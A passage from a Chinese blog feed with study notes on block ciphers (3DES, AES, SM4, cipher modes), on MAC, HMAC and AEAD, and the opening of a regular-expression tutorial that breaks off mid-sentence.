src="/image/201910_fenzumima/des_z2.png" alt=""></p><ol start="3"><li>再将得到的CiDi作为PC-2置换的输入,从56位中选取48位作为子密钥</li></ol><p><img src="/image/201910_fenzumima/des_z3.png" alt=""></p><p>另外,在DES的发展中,不断向AED进行过渡,从而催生了3DES,它使用3条56位的密钥对数据进行三次加密。是DES的一个更安全的变形。它以DES为基本模块,通过组合分组方法设计出分组加密算法。比起最初的DES,3DES更为安全。</p><p>该方法使用两个密钥,执行三次DES算法,加密的过程是加密-解密-加密,解密的过程是解密-加密-解密。</p><ul><li>3DES加密过程为:C=Ek3(Dk2(Ek1§))</li><li>3DES解密过程为:P=Dk1(EK2(Dk3©))</li></ul><p>3DES采用两个密钥进行三重加密,其主要目的和好处在于:</p><ul><li>两个密钥合起来有效密钥长度有112bit,可以满足商业应用的需要,若采用总长为168bit的三个密钥,会产生不必要的开销。</li><li>加密时采用加密-解密-加密,而不是加密-加密-加密的形式,这样有效的实现了与现有DES系统的向后兼容问题。因为当K1=K2时,三重DES的效果就和原来的DES一样,有助于逐渐推广三重DES。</li><li>三重DES具有足够的安全性,还没有关于攻破3DES的报道。</li></ul><h3 id="AES">AES</h3><p>自DES 算法公诸于世以来,学术界围绕它的安全性等方面进行了研究并展开了激烈的争论。在技术上,对DES的批评主要集中在以下几个方面:</p><ol><li>作为分组密码,DES 的加密单位仅有64 位二进制,这对于数据传输来说太小,因为每个分组仅含8 个字符,而且其中某些位还要用于奇偶校验或其他通讯开销。</li><li>DES 的密钥的位数太短,只有56 比特,而且各次迭代中使用的密钥是递推产生的,这种相关必然降低密码体制的安全性,在现有技术下用穷举法寻找密钥已趋于可行。</li><li>DES 不能对抗差分和线性密码分析。</li><li>DES 用户实际使用的密钥长度为56bit,理论上最大加密强度为256。DES 算法要提高加密强度(例如增加密钥长度),则系统开销呈指数增长。除采用提高硬件功能和增加并行处理功能外,从算法本身和软件技术方面都无法提高DES 算法的加密强度。</li></ol><p>因此,在分组加密算法的研究中,又推出了AES(高级加密标准)。</p><p><img src="/image/201910_fenzumima/des_aes.png" alt=""></p><p>AES在1997年提出,安全性相当于3DES,并且比3DES快。明文分组的长度为128位即16字节,密钥长度可以为16,24或者32字节(128,192,256位)。根据密钥的长度,算法被称为AES-128,AES-192或者AE-256。AES的整个加密过程大致为:对明文,先进行轮密钥加,然后进行轮运算,每轮中分别进行字节代换、行移位、列混合、轮密钥加,最后一轮为字节代换、行移位、轮密钥加。下图为其加解密流程:</p><p><img src="/image/201910_fenzumima/aes.png" alt=""></p><p>其中,涉及到几个运算:</p><ol><li>字节代换:把该字节的高4位作为行值,低4位作为列值,取出S盒或者逆S盒中对应的行的元素作为输出</li></ol><p><img src="/image/201910_fenzumima/aes1.png" alt=""></p><ol start="2"><li>行移位:左右循环移位操作,正行移位为左循环移位操作。当密钥长度为128比特时,状态矩阵的第0行左移0字节,第1行左移1字节,第2行左移2字节,第3行左移3字节,如下图所示,逆变换则相反:</li></ol><p><img src="/image/201910_fenzumima/aes2.png" alt=""></p><ol start="3"><li>列混合:通过矩阵相乘来实现,经行移位后的状态矩阵与固定的矩阵相乘,得到混淆后的状态矩阵,如下图的公式所示,逆变换中,乘的矩阵和正变换中矩阵的乘积正好为单位矩阵:</li></ol><p><img src="/image/201910_fenzumima/aes3.png" alt=""></p><h3 id="SM4-SMS4">SM4/SMS4</h3><p>借用本科一位老师的话,一个国家密码学的发展与否,在某种程序上与核武器的发展是相当的,不管是在军事、商业还是其他用途中,如何保证信息的安全是十分重要的,而这便促使国家需要能够自己发展属于自己的密码算法,内部的一些发展咱也不懂,至少从商用密码来看,国密还是在不断发展的。而SM4和SMS4,则是其中的一部分。</p><p>2012年3月,国家密码管理局正式公布了包含SM4分组密码算法在内的《祖冲之序列密码算法》等6项密码行业标准。与DES和AES算法类似,SM4算法是一种分组密码算法。SM4采用非对称 Feistel结构,其分组长度为128bit,密钥长度也为128bit。加密算法与密钥扩展算法均采用32轮非线性迭代结构,以字(32位)为单位进行加密运算,每一次迭代运算均为一轮变换函数F。SM4算法加解密算法的结构相同,只是使用轮密钥相反,其中解密轮密钥是加密轮密钥的逆序。</p><p><img src="/image/201910_fenzumima/sm4.png" alt=""></p><h4 id="SM4基本运算:">SM4基本运算:</h4><ol><li>模2加:⊕,32 比特异或运算</li><li>循环移位:<<< i ,把32位字循环左移i 位</li></ol><h4 id="基本密码部件:">基本密码部件:</h4><ol><li>非线性字节变换S盒:起混淆作用,8位输入,8位输出。本质上是8位的非线性置换。以输入的高半字节为行号,低半字节为列号,行列交叉点 以输入的高半字节为行号,低半字节为列号,行列交叉点处的数据即为输出。 处的数据即为输出。设输入为"ef",则行号为e,列号为f,于是S盒的输出值为表中第 e 行和第 f 列交叉点的值,即 列交叉点的值。设输入为a,输出为b,S盒运算可表示为:</li></ol><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="attr">b</span>=S_Box(a)</span><br></pre></td></tr></table></figure><ol start="2"><li>非线性字变换τ :起混淆作用,其实是4个S盒进行并行置换,为32位字的非线性变换,</li></ol><p><img src="/image/201910_fenzumima/sm41.png" alt=""></p><ol start="3"><li>字线性部件L变换:其扩散作用,32位输入,32位输出,输入为B,输出为C,其运算规则如下:</li></ol><figure class="highlight gcode"><table><tr><td class="code"><pre><span class="line">C=L<span class="comment">(B)</span>=B⊕<span class="comment">(B<<<2)</span>⊕<span class="comment">(B<<<10)</span>⊕<span class="comment">(B<<<18)</span> ⊕<span class="comment">(B<<<24)</span></span><br></pre></td></tr></table></figure><ol start="4"><li>字合成变换T:由非线性变换τ 和线性变换L 复合而成,先S盒变换,后L变换:</li></ol><figure class="highlight lisp"><table><tr><td class="code"><pre><span class="line">T(<span class="name">X</span>)=L(τ(<span class="name">X</span>))</span><br></pre></td></tr></table></figure><h4 id="SM4轮函数F">SM4轮函数F</h4><p><img src="/image/201910_fenzumima/sm4l.png" alt=""></p><ul><li>输入数据:(X0,X1,X2,X3),128位,四个32位字。</li><li>输入轮密钥:rk ,32位字。</li><li>输出数据:32位字。</li><li>轮函数F :F(X0,X1,X2,X3,rk)= X0 ⊕T( X1⊕ X2⊕ X3⊕rk)</li></ul><h4 id="SM4加密与解密">SM4加密与解密</h4><p>SM4的加密过程图下图所示:</p><p><img src="/image/201910_fenzumima/sm4j.png" alt=""></p><p>其中,包含加密变换与反序变换两种:</p><ul><li>输入明文:(M0 , M1 , M2 , M3)=(X0 , X1 , X2 , X3), 128位,四个字。</li><li>输入轮密钥:rki ,i=0,1,…,31,共32个轮密钥。</li><li>输出密文:(Y0,Y1,Y2,Y3),128位,四个字。</li><li>算法结构: 轮函数 算法结构:轮函数32轮迭代,每轮使用一个轮密钥。 轮迭代,每轮使用一个轮密钥。</li><li>加密变换:Xi+4=F(Xi,Xi+1,Xi+2,Xi+3,rki)= Xi ⊕T( Xi+1⊕ Xi+2⊕ Xi+3⊕rki), i = 0,1…31</li><li>反序变换:(Y0,Y1,Y2,Y3)=(X35,X34,X33,X32)</li></ul><p>SM4密码算法是对合的,因此解密与加密算法相同,只是轮密码算法是对合的,因此解密与加密算法相同,只是轮<br>密钥的使用顺序相反:</p><ul><li>输入密文:Y0,Y1,Y2,Y3)=(X35,X34,X33,X32)</li><li>输入轮密钥:rki ,i=31,30,29…,1,0 共32个轮密钥。</li><li>输出明文:(X0 , X1 , X2 , X3)</li><li>算法结构:轮函数进行32轮迭代,每轮使用一个轮密钥。</li><li>解密变换:Xi = F(Xi+4,Xi+3,Xi+2,Xi+1,rki)= Xi+4 ⊕ T( Xi+3 ⊕ Xi+2 ⊕ Xi+1 ⊕rki ), i=31,…1,0</li><li>反序变换:(X1,X2,X3,X4) =(M0 , M1 , M2 , M3)</li></ul><h2 id="分组加密模式">分组加密模式</h2><h3 id="ECB电子密码本模式">ECB电子密码本模式</h3><p><img src="/image/201910_fenzumima/ecb.png" alt=""></p><p>将数据按8个字节一段进行DES加密或解密后连接在一起组成密文或明文,最后不足8字节的补足。其有以下特点:</p><ul><li>简单,有利于并行计算,误差不会被传送;</li><li>不能隐藏明文的模式;</li><li>可能对明文进行主动攻击。</li></ul><h3 id="CBC密文分组链接模式">CBC密文分组链接模式</h3><p>CBC模式在ECB模式基础上进行了改进,将前一个密文分组与当前明文分组的内容混合起来进行加密,这样就可以避免ECB模式的弱点。</p><p>加密步骤如下:</p><ol><li>首先将数据按照8个字节一组进行分组得到D1D2…Dn(若数据不是8的整数倍,用指定的PADDING数据补位)</li><li>第一组数据D1与初始化向量VI异或后的结果进行DES加密得到第一组密文C1(初始化向量I为全零)</li><li>第二组数据D2与第一组的加密结果C1异或以后的结果进行DES加密,得到第二组密文C2</li><li>之后的数据以此类推,得到Cn</li><li>按顺序连为C1C2C3…Cn即为加密结果。</li></ol><p><img src="/image/201910_fenzumima/cbc_e.png" alt=""></p><p>解密是加密的逆过程,步骤如下:</p><p><img src="/image/201910_fenzumima/cbc_d.png" alt=""></p><ol><li>首先将数据按照8个字节一组进行分组得到C1C2C3…Cn</li><li>将第一组数据进行解密后与初始化向量VI进行异或得到第一组明文D1(注意:一定是先解密再异或)</li><li>将第二组数据C2进行解密后与第一组密文数据进行异或得到第二组数据D2</li><li>之后依此类推,得到Dn</li><li>按顺序连为D1D2D3…Dn即为解密结果。</li></ol><p>这里注意一点,解密的结果并不一定是我们原来的加密数据,可能还含有你补得位,一定要把补位去掉才是你的原来的数据。</p><p>CBC模式具有以下特点:</p><ul><li>不容易主动攻击,安全性好于ECB,适合传输长度长的报文,是SSL、IPSec的标准。</li><li>每个密文块依赖于所有的信息块,明文消息中一个改变会影响所有密文块</li><li>发送方和接收方都需要知道初始化向量</li><li>加密过程是串行的,无法被并行化(在解密时,从两个邻接的密文块中即可得到一个平文块。因此,解密过程可以被并行化)。</li></ul><h3 id="CFB密文反馈模式">CFB密文反馈模式</h3><p>类似于CBC,可以将块密码变为自同步的流密码;工作过程亦非常相似,CFB的解密过程几乎就是颠倒的CBC的加密过程。</p><p><img src="/image/201910_fenzumima/cfb.png" alt=""></p><p>在CFB模式中,需要使用一个与块的大小相同的移位寄存器,并用IV将寄存器初始化。然后,将寄存器内容使用块密码加密,然后将结果的最高x位与平文的x进行异或,以产生密文的x位。下一步将生成的x位密文移入寄存器中,并对下面的x位平文重复这一过程。解密过程与加密过程相似,以IV开始,对寄存器加密,将结果的高x与密文异或,产生x位平文,再将密文的下面x位移入寄存器。</p><p>另外,这种模式与CBC相似,平文的改变会影响接下来所有的密文,因此加密过程不能并行化;而同样的,与CBC类似,解密过程是可以并行化的。</p><h3 id="OFB输出反馈模式">OFB输出反馈模式</h3><p>输出反馈模式(Output feedback, OFB)可以将块密码变成同步的流密码。它产生密钥流的块,然后将其与明文块进行异或,得到密文。与其它流密码一样,密文中一个位的翻转会使平文中同样位置的位也产生翻转。这种特性使得许多错误校正码,例如奇偶校验位,即使在加密前计算而在加密后进行校验也可以得出正确结果。</p><p>每个使用OFB的输出块与其前面所有的输出块相关,因此不能并行化处理。然而,由于明文和密文只在最终的异或过程中使用,因此可以事先对IV进行加密,最后并行的将明文或密文进行并行的异或处理。</p><p>可以利用输入全0的CBC模式产生OFB模式的密钥流。这种方法十分实用,因为可以利用快速的CBC硬件实现来加速OFB模式的加密过程。</p><p>OFB模式加密过程具体如下:</p><p><img src="/image/201910_fenzumima/ofb.png" alt=""></p><ol><li>将移位寄存器初始化为IV,假设移位寄存器长度为len比特;</li><li>移位寄存器经加密器和秘钥加密得到Ki(i=1,2,3…);</li><li>明文长度为m(m≤len)比特,与K1的高m比特异或,得到m比特密文;</li><li>将移位寄存器左移m位,将刚刚得到的Ki的高m位填充到移位寄存器的低m位;</li><li>重复步骤2-4,直到所有明文被加密完成。</li></ol><h3 id="CTR计数器模式">CTR计数器模式</h3><p>Counter mode,计数器模式。CTR模式与OFB模式类似,它通过加密“计数器”的连续值来生成下一个密钥流块。计数器可以是任何保证长时间不会产生重复序列的函数。使用简单的确定性输入函数曾经是有争议的;批评者认为,“故意将密码系统暴露在已知的系统输入中是一种不必要的风险。”然而,目前CTR模式被广泛接受,任何问题都被认为是底层分组密码的一个弱点,无论其输入是否存在系统偏差,这种分组密码都是安全的。</p><p><img src="/image/201910_fenzumima/ctr.png" alt=""></p><p>CTR模式具有类似于OFB的特性,但在解密期间也允许随机访问属性。CTR模式非常适合在可以并行加密块的多处理器机器上运行。此外,它不存在影响OFB的短周期问题。</p><p>CTR模式加密过程如下图所示。其中Nonce和前文所述的初始向量IV一样,由于密文需要Nonce和计数器Counter共同计算所得,故如果计数器出错,则不能得到正确的密文。</p><p>CTR 模式被广泛用于 ATM 网络安全和 IPSec应用中,相对于其它模式而言,CTR模式具有如下特点:</p><ul><li>硬件效率:允许同时处理多块明文 / 密文。</li><li>软件效率:允许并行计算,可以很好地利用 CPU 流水等并行技术。</li><li>预处理:算法和加密盒的输出不依靠明文和密文的输入,因此如果有足够的保证安全的存储器,加密算法将仅仅是一系列异或运算,这将极大地提高吞吐量。</li><li>随机访问:第 i 块密文的解密不依赖于第 i-1 块密文,提供很高的随机访问能力。</li><li>可证明的安全性:能够证明 CTR 至少和其他模式一样安全(CBC, CFB, OFB, …)</li><li>简单性:与其它模式不同,CTR模式仅要求实现加密算法,但不要求实现解密算法。对于 AES 等加/解密本质上不同的算法来说,这种简化是巨大的。</li><li>无填充,可以高效地作为流式加密使用。</li></ul><h2 id="参考">参考</h2><p><a href="https://wenku.baidu.com/view/665bc45c941ea76e59fa0443.html" target="_blank" rel="noopener">《武汉大学-密码学》</a></p>]]></content>
<summary type="html">
对于分组密码的介绍,主要涵盖一些常见的分组密码构造,如Feistel和SPN结构,以及常用的分组密码算法(DES/AED/SM4)和模式(CBC/CFB/ECB/OFB/CTR)。
</summary>
<category term="密码学" scheme="http://www.xiaozblog.top/categories/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
<category term="密码学" scheme="http://www.xiaozblog.top/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
<category term="网络安全理论" scheme="http://www.xiaozblog.top/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%90%86%E8%AE%BA/"/>
</entry>
<entry>
<title>密码学学习-MAC与AEAD</title>
<link href="http://www.xiaozblog.top/2019/10/20/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0-MAC%E4%B8%8EAEAD/"/>
<id>http://www.xiaozblog.top/2019/10/20/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0-MAC%E4%B8%8EAEAD/</id>
<published>2019-10-20T14:03:48.000Z</published>
<updated>2020-06-16T09:15:22.000Z</updated>
<content type="html"><![CDATA[<p>这一篇主要是对消息认证码(MAC)和AEAD的介绍,涵盖一些常见模式的原理和结构,其中在MAC算法中主要对HMAC进行介绍,并从AE到AEAD的整个过程对AEAD进行介绍。</p><h2 id="基本概念">基本概念</h2><h3 id="信息安全三大属性">信息安全三大属性</h3><p>在MAC与AEAD前,先看一下信息安全的三大属性,而如果保证信息传输过程中信息符合这三大性质,正是MAC和AEAD设计的出发点。</p><ol><li>机密性</li></ol><p>机密性意味着对信息实施了必要的安全措施,阻止未授权的访问和泄露,也包括保护个人隐私、敏感数据等。机密性(confidentiality)确保在数据处理的每一个交叉点上都实施了必要级别的安全保护并阻止未经收取授权的信息披露。在数据存储到网络内部的系统和设备上时、数据传输时以及数据到达目的地之后,这种级别的保密都应该发挥作用。</p><ol start="2"><li>完整性</li></ol><p>完整性意味着对信息实施了必要的安全措施,阻止未授权的篡改和破坏,也包括信息的不可否认性和真实性。完整性(integrity)指的是保证信息和系统的准确性和可靠性,并禁止对数据的非授权更改。硬件、软件和通信机制必须协同工作,才能正确地维护和处理数据,并且能够在不被意外更改的情况下将数据移动至预期的目的地。应当保护系统和网络免受外界的干扰和污染。</p><ol start="3"><li>可用性</li></ol><p>可用性意味着对信息实施了必要的安全措施,使得信息和系统能够被授权实体可靠、及时的访问到。可用性(availability)保护确保授权的用户能够对数据和资源进行及时的和可靠的访问。网络设备、计算机和应用程序应当提供充分的功能,从而能够在可以接受的性能级别以可预计的方式运行。</p><h3 id="消息认证码-MAC">消息认证码(MAC)</h3><p>消息认证码(MAC)是指通过以某种形式对信息应用密码密钥而派生的一种身份验证机制,其并不使用对称密钥来加密信息,是保证消息数据完整性的一种工具。构造方法由M.Bellare提出,安全性依赖于Hash函数,故也称带密钥的Hash函数。消息认证码是基于密钥和消息摘要所获得的一个值,可用于数据源发认证和完整性校验。</p><p>在发送数据之前,发送方首先使用通信双方协商好的散列函数计算其摘要值。在双方共享的会话密钥作用下,由摘要值获得消息验证码。之后,它和数据一起被发送。接收方收到报文后,首先利用会话密钥还原摘要值,同时利用散列函数在本地计算所收到数据的摘要值,并将这两个数据进行比对。若两者相等,则报文通过认证</p><p>在安全性方面,一个安全的 MAC 算法要满足三个条件:抗碰撞性;消息认证码在其空间内均匀分布;消息验证码的一个或一些比特不能弱于其他比特。满足以上三个条件的消息验证码能够防止穷举搜索攻击,攻击者也无法成功伪造一个消息验证码。</p><p>MAC一般有三种基本类型:</p><ul><li>HMAC散列MAC</li><li>CBC-MAC</li><li>CMAC</li></ul><h3 id="AEAD">AEAD</h3><p>认证加密(Authenticated encryption,AE)和带有关联数据的认证加密(authenticated encryption with associated data,AEAD,AE的变种)是一种能够同时保证数据的保密性、 完整性和真实性的一种加密模式。</p><h2 id="HMAC">HMAC</h2><p>HMAC,散列消息鉴别码,是基于密钥的 Hash 算法的认证协议。密钥相关的哈希运算消息认证码,HMAC运算利用哈希算法,以一个密钥和一个消息为输入,生成一个消息摘要作为输出。 HMAC算法是基于信息摘要算法的。目前主要集合了MD和SHA两大系列消息摘要算法。其中MD系列的算法有HmacMD2、HmacMD4、HmacMD5三种算法;SHA系列的算法有HmacSHA1、HmacSHA224、HmacSHA256、HmacSHA384、HmacSHA512五种算法。</p><p>HMAC算法除了需要信息摘要算法外,还需要一个密钥。HMAC的密钥可以是任何长度,如果密钥的长度超过了摘要算法信息分组的长度,则首先使用摘要算法计算密钥的摘要作为新的密钥。一般不建议使用太短的密钥,因为密钥的长度与安全强度是相关的。通常选取密钥长度不小于所选用摘要算法输出的信息摘要的长度。</p><p>HMAC的实现原理是,用公开函数和密钥产生一个固定长度的值作为认证标识,用这个标识鉴别消息的完整性。使用一个密钥生成一个固定大小的小数据块,即MAC,并将其加入到消息中,然后传输。接收方利用与发送方共享的密钥进行鉴别认证等。</p><p><img src="/image/201910_MACAEAD/1.png" alt=""></p><p>这种结构的主要作用是:</p><ul><li>不用修改就可以使用适合的散列函数,而且散列函数在软件方面表现的很好, 并且源码是公开和通用的。</li><li>可以保持散列函数原有的性能而不致使其退化。</li><li>可以使得基于合理的关于底层散列函数假设的消息鉴别机制的加密强度分析 便于理解。</li><li>当发现或需要运算速度更快或更安全的散列函数时,可以很容易的实现底层 散列函数的替换。</li></ul><p>定义 HMAC 需要一个加密用散列函数(表示为H)和一个密钥K。我们假设H是一个将数据块用一个基本的迭代压缩函数来加密的散列函数。我们用B来表示数据块的字长。(以上提到的散列函数的分割数据块字长B = 64),用L来表示散列函数的输出数据字长(MD5中L=16, SHA-1中L=20)。鉴别密钥的长度可以是小于等于数据块字长的任何正整数值。应用程序中使用的密钥长度若是比B大,则首先用使用散列函数H作用于它,然后用H输出的L长度字符串作为在HMAC中实际使用的密钥。一般情况下,推荐的最小密钥K长度是L个字长。(与H的输出数据长度相等)。HAMC相关概念如下:</p><figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line">H:hash算法,比如(MD5,SHA<span class="number">-1</span>,SHA<span class="number">-256</span>)</span><br><span class="line">B:块字节的长度,块是hash操作的基本单位。这里B=<span class="number">64</span>。</span><br><span class="line">L:hash算法计算出来的字节长度。(L=<span class="number">16</span> <span class="keyword">for</span> MD5, L=<span class="number">20</span> <span class="keyword">for</span> SHA<span class="number">-1</span>)。</span><br><span class="line">K:共享密钥,K的长度可以是任意的,但是为了安全考虑,还是推荐K的长度>B。当K长度大于B时候,会先在K上面执行hash算法,将得到的L长度结果作为新的共享密钥。 如果K的长度<B, 那么会在K后面填充<span class="number">0x00</span>一直到等于长度B。</span><br><span class="line">text: 要加密的内容</span><br><span class="line">opad:外部填充常量,是 <span class="number">0x5C</span> 重复B次。</span><br><span class="line">ipad: 内部填充常量,是<span class="number">0x36</span> 重复B次。</span><br><span class="line">XOR: 异或运算。</span><br></pre></td></tr></table></figure><p>计算 ‘text’ 的 HMAC公式:</p><figure class="highlight lisp"><table><tr><td class="code"><pre><span class="line">H (<span class="name">K</span> XOR opad, H (<span class="name">K</span> XOR ipad, text))</span><br></pre></td></tr></table></figure><p>具体计算步骤如下:</p><ol><li>在密钥 K 后面添加 0 来创建一个子长为 B 的字符串。(例如,如果 K 的字长是 20 字节,B=60 字节,则 K 后会加入 44 个零字节0x00)</li><li>将上一步生成的 B 字长的字符串与 ipad 做异或运算</li><li>将数据流 text 填充至第二步的结果字符串中</li><li>用 H 作用于第三步生成的数据流</li><li>将第一步生成的 B 字长字符串与 opad 做异或运算</li><li>再将第四步的结果填充进第五步的结果中</li><li>用 H 作用于第六步生成的数据流,输出最终结果</li></ol><p>其中,用于HMAC的密钥可以是任意长度(比 B 长的密钥将首先被 H 处理)。但当密钥 长度小于 L 时,会降低函数的安全强度。长度大于 L 的密钥也是可以的,但额外的长度并不能显著的提高函数的安全强度。<br>密钥必须随机选取(或使用强大的基于随机种子的伪随机生成方法),并且要周期性的更新。目前的攻击没有指出一个有效的更换密钥的频率,因为那些攻击实际上并不可行。然而,周期性更新密钥是一个对付函数和密钥所存在的潜在缺陷的基本的安全措施,并可以降低泄漏密钥带来的危害。</p><p>HMAC的一个典型应用是用在“挑战/响应”(Challenge/Response)身份认证中,认证流程如下:</p><ol><li>先由客户端向服务器发出一个验证请求。</li><li>服务器接到此请求后生成一个随机数并通过网络传输给客户端(此为挑战)。</li><li>客户端将收到的随机数提供给ePass,由ePass使用该随机数与存储在ePass中的密钥进行HMAC-MD5运算并得到一个结果作为认证证据传给服务器(此为响应)。</li><li>与此同时,服务器也使用该随机数与存储在服务器数据库中的该客户密钥进行HMAC-MD5运算,如果服务器的运算结果与客户端传回的响应结果相同,则认为客户端是一个合法用户</li></ol><h2 id="从AE到AEAD">从AE到AEAD</h2><p>AEAD 产生的原因很简单,单纯的对称加密算法,其解密步骤是无法确认密钥是否正确的。也就是说,加密后的数据可以用任何密钥执行解密运算,得到一组疑似原始数据,而不知道密钥是否是正确的,也不知道解密出来的原始数据是否正确。</p><p>因此,需要在单纯的加密算法之上,加上一层验证手段,来确认解密步骤是否正确。</p><p>简单地把加密算法和认证算法组合,可以实现上述目的,并由此产生了几个方案:</p><p>第一种方案,EtM (Encryption then MAC)</p><p><img src="/image/201910_MACAEAD/2.png" alt=""></p><p>首先对明文进行加密,然后根据得到的密文生成消息认证码(MAC)。密文和它的MAC一起发送。例如IPsec。EtM是ISO/IEC 19772:2009规定的六种认证加密方法中的一种。这是唯一可以达到认证加密安全性最高定义的方法,但这只有在使用的MAC“强不可伪造”时才能实现。</p><p>第二种方案,E&M (Encryption and MAC)</p><p><img src="/image/201910_MACAEAD/3.png" alt=""></p><p>同时对原始数据执行加密和MAC运算,把二者拼接起来,发给接收方。接收方先进行解密,然后对解密结果执行 MAC 运算,比对发来的 MAC,验证正确性。用于例如SSH。E&M方法本身并未被证明是“强不可伪造”的。</p><p>第三种方案,MtE (MAC then Encryption)</p><p><img src="/image/201910_MACAEAD/4.png" alt=""></p><p>与 EtM 相反,MtE 基于明文生成MAC,然后将明文和MAC一起加密以基于两者生成密文。密文(包含加密的MAC)被发送。MtE方法本身并未被证明是“强不可伪造”的。用于例如SSL/TLS。尽管有理论上的安全性,但对SSL/TLS进行更深入的分析将保护模型化为MAC-then-pad-then-encrypt,即明文先填充到加密函数的块大小。填充错误通常会导致接收方发现可检测到的错误,从而导致<a href="https://zh.wikipedia.org/w/index.php?title=Padding_oracle_attack&action=edit&redlink=1" target="_blank" rel="noopener">Padding oracle attack</a>,如<a href="https://zh.wikipedia.org/wiki/Lucky_Thirteen_attack" target="_blank" rel="noopener">Lucky Thirteen attack</a>。</p><p>从 2008 年起,业内开始提出,需要在一个算法在内部同时实现加密和认证。基于这个思想,一些新的算法被提出,这些算法被称为真正的 AEAD 算法。其中,常见的 AEAD 算法如下:</p><ul><li>AES-128-GCM</li><li>AES-192-GCM</li><li>AES-256-GCM</li><li>ChaCha20-IETF-Poly1305</li><li>XChaCha20-IETF-Poly1305</li></ul><h2 id="参考">参考</h2><ol><li><a href="https://zhuanlan.zhihu.com/p/28566058" target="_blank" rel="noopener">什么是AEAD</a></li><li><a href="https://zh.wikipedia.org/wiki/%E8%AE%A4%E8%AF%81%E5%8A%A0%E5%AF%86" target="_blank" rel="noopener">wiki-认证加密</a></li></ol>]]></content>
<summary type="html">
这一篇主要是对消息认证码(MAC)和AEAD的介绍,涵盖一些常见模式的原理和结构,其中在MAC算法中主要对HMAC进行介绍,并从AE到AEAD的整个过程对AEAD进行介绍。
</summary>
<category term="密码学" scheme="http://www.xiaozblog.top/categories/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
<category term="密码学" scheme="http://www.xiaozblog.top/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
<category term="网络安全理论" scheme="http://www.xiaozblog.top/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%90%86%E8%AE%BA/"/>
</entry>
<entry>
<title>正则表达式基础</title>
<link href="http://www.xiaozblog.top/2019/10/17/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%9F%BA%E7%A1%80/"/>
<id>http://www.xiaozblog.top/2019/10/17/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%9F%BA%E7%A1%80/</id>
<published>2019-10-17T05:11:44.000Z</published>
<updated>2020-08-31T02:40:20.000Z</updated>
<content type="html"><![CDATA[<p>很久之前便接触过正则,也用过不少,但是也从来没自己系统性总结下,反而每次都是去搜索别人的博客,突发奇想问了下CTF队伍中同学是否常使用正则表达式,发现还是挺重要的,也想对这块进行一些系统性的总结,涉及的内容可能会比较浅,会尽量通俗易懂,结合例子让读者更能理解。</p><h2 id="什么叫做正则表达式?">什么叫做正则表达式?</h2><p>在进行编程开发时,经常需要进行字符串的操作,如查找、替换等,其中很重要的一点便是匹配符合某种规则的字符串,而正则表达式就是对这些规则的描述,可以使用正则表达式对字符串的格式、规则或含有哪些字符进行描述。正如在linux系统中,如果需要搜索test目录下的python脚本文件,则需要使用的,命令为 "find ./test -name ‘*.py’ " ,其中 “*.py” 中的 ‘*’ 即为匹配任意字符串,这里其实和正则表达式也类似,叫做通配符。而正则表达式则是比这样的规则更为复杂的,能够准确描述一些特殊字符串格式的规则字符串。</p><h2 id="入门与简单示例">入门与简单示例</h2><p>先介绍一些简单的例子,从而对正则表达式有一个基本的理解。上文已说过,正则表达式其实是一种对字符串格式进行描述的字符串,所以在这样的字符串中,需要规定某些特殊字符、字符组合、符号用以表示一些特殊的含义,比如上述所说的 “*.py” 中的 “*” 就是这样一种,所以,在开始举例前,先介绍一些比较常用的特殊代码(或者叫元字符)</p><figure class="highlight livescript"><table><tr><td class="code"><pre><span class="line"><span class="string">\b</span>匹配字符(串)的开头和结尾,用以规定需要匹配的字符串和其余字符串的分界处</span><br><span class="line"><span class="string">\w</span>匹配字母或数字或下划线或数字</span><br><span class="line"><span class="string">\s</span>匹配任意的空白符(包括空格、制表符Tab、换行符、中文全角空格等)</span><br><span class="line"><span class="string">\d</span>匹配数字</span><br><span class="line">^匹配字符串的开始</span><br><span class="line">$匹配字符串的结束</span><br><span class="line"><span class="string">\b</span>通常是单词分界位置,但如果在字符类里使用代表退格</span><br><span class="line"><span class="string">\t</span>匹配制表符,Tab</span><br><span class="line"><span class="string">\r</span>匹配回车</span><br><span class="line"><span class="string">\v</span>匹配竖向制表符</span><br><span class="line"><span class="string">\f</span>匹配换页符</span><br><span class="line"><span class="string">\n</span>匹配换行符</span><br><span class="line">.匹配除换行符外的任意字符</span><br><span class="line">*与前面使用的元字符连接,表示前一个使用的元字符表示的字符匹配任意次(零次或多次)</span><br><span class="line">+与*类似,但是+匹配一次或多次</span><br><span class="line">?与*类似,但是是匹配重复一次或者零次</span><br></pre></td></tr></table></figure><p>上述字符中,后三个或许应该称为限定符,下面使用这些基本的元字符构造几个正则表达式的示例:</p><ul><li>\ba\w*\b<br>匹配以字母a开头的单词——先是某个单词开始处(\b),然后是字母a,然后是任意数量的字母或数字(\w*),最后是单词结束处(\b)。</li><li>\b.*xiaoZ.*\b<br>匹配一串字符,字符前是任意数量的除换行符外的任意字符,然后是 “xiaoZ” 最后是任意数量的除换行符外的任意字符。’.*’ 表示匹配任意数量的除换行符外的任意字符。</li><li>\d+<br>匹配一个或更多连续的数字。</li></ul><p>这里的例子比较简单,但是可能也有人会想到,如果需要匹配字符为 ‘\b’ 呢?如果直接用在正则中进行匹配的话则会将其解释为匹配字符串开头和结尾,所以这里需要进行转义,转义在编程中用的比较多,一般使用反斜杠来取消这些字符的特殊意义,正则表达式中也是一样,只需要使用 ‘\’ 取消字符中 ‘\’ 的特殊含义,即可实现该效果,即使用 ‘\\b’ 。总结一下就是,如果我们需要匹配的字符中含有作为正则表达式规定的元字符时,需要使用反斜杠符号进行转义操作。说到这个,你觉得我在写这个博客的时候,要出现 ‘\\\\’ 应该写几个反斜杠呢…</p><h2 id="正则表达式进阶">正则表达式进阶</h2><h3 id="重复与分组">重复与分组</h3><p>可以看到,上述匹配中除了使用单一的匹配完,还使用了 ‘*’ 